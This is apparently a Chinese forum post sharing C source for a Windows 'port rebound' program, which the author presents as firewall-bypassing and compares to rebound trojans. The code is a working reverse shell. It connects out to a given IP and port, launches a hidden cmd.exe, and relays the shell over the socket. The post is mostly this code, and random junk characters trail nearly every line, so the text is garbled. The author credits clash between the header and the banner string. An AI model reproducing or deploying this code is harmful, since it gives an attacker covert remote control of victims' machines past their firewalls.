Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 @J'tPW<$  
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/* ============================== ]L k- -\  
Rebound port in Windows NT 
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By wind,2006/7 fY|[YPGO^  
===============================*/ DyUS^iz~o  
#include Q$Sp'  
#include p?4,YV|#  
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#pragma comment(lib,"wsock32.lib") 1c*;Lr.K  
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void OutputShell(); ~,x4cOdR#  
SOCKET sClient; ?kF? ~\c  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c^z)[  
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void main(int argc,char **argv) 9&Z+K'$=  
{ xiqeKoAD  
WSADATA stWsaData; tF.N  
int nRet; >Udq{<]#r  
SOCKADDR_IN stSaiClient,stSaiServer; s#Xfu\CP  
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if(argc != 3) j-| !QlB  
{ $s"-r9@q  
printf("Useage:\n\rRebound DestIP DestPort\n"); V \/Qik{h  
return; PlwM3lrj  
} R%`fd *g  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4rpry@1  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WwxV}?Cf+  
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stSaiClient.sin_family = AF_INET; 02-% B~oP  
stSaiClient.sin_port = htons(0); n|B<rx?v  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E,Xl8rC  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }-Jo9dNs  
{ B)dG:~  
printf("Bind Socket Failed!\n"); XQ8q)B=  
return; 0#~k)>(7lR  
} ;(Az   
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stSaiServer.sin_family = AF_INET; 28 zZ3|Z3  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #];ulDq  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Af}o/g  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]&tcocq  
{ j' b0sve|?  
printf("Connect Error!"); (U\D7ItMG  
return; moZeP#Q%  
} pdjRakN  
OutputShell(); wn\R|'Rdz  
} gLK0L%"5  
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void OutputShell() QvJ29  
{ 3EE_"}H>  
char szBuff[1024]; SH O&:2  
SECURITY_ATTRIBUTES stSecurityAttributes; FRXaPod  
OSVERSIONINFO stOsversionInfo; S>jOVWB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1-Dw-./N  
STARTUPINFO stStartupInfo; R83PHM  
char *szShell; ";DozPU  
PROCESS_INFORMATION stProcessInformation; p$` ^A  
unsigned long lBytesRead; &kT!GU^n  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  ^mN`!+  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y=y 0`?K  
stSecurityAttributes.lpSecurityDescriptor = 0; uuL(BUGt-  
stSecurityAttributes.bInheritHandle = TRUE; +RnWeBXAT
 
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,$RXN8x1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qLl4t/p  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); We'=/!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?a'EkZ.dB  
stStartupInfo.wShowWindow = SW_HIDE; TP)o0U  
stStartupInfo.hStdInput = hReadPipe; j,z)x[3}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; dux_v"Xl  
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GetVersionEx(&stOsversionInfo); MM( ,D& Z  
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switch(stOsversionInfo.dwPlatformId) -OnKvpeI  
{ Dw y|mxlFn  
case 1: E )2/Vn2  
szShell = "command.com"; BgY|v [M&  
break; Dj6^|R$z&  
default: 8?|W-rN  
szShell = "cmd.exe"; `G=+qti  
break; LLoV]~dvUu  
} 12Fnv/[n'K  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); I*/:rb  
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send(sClient,szMsg,77,0); @g*[}`8]y  
while(1) q;_?e_  
{ ++O
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @X=sfygk  
if(lBytesRead) R[TaP7n  
{ ]I]G3 e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CZ%KC$l.5  
send(sClient,szBuff,lBytesRead,0); /;xrd\du  
} +?{LLD*2e  
else K1-RJj\L  
{ i~*6JB|  
lBytesRead=recv(sClient,szBuff,1024,0); *z_`$Y
  
if(lBytesRead<=0) break; =5:kV/p  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ZVit]3hd  
} ~{N#JOY}Z  
} h]IoH0/  
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return; ?}EWfs
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}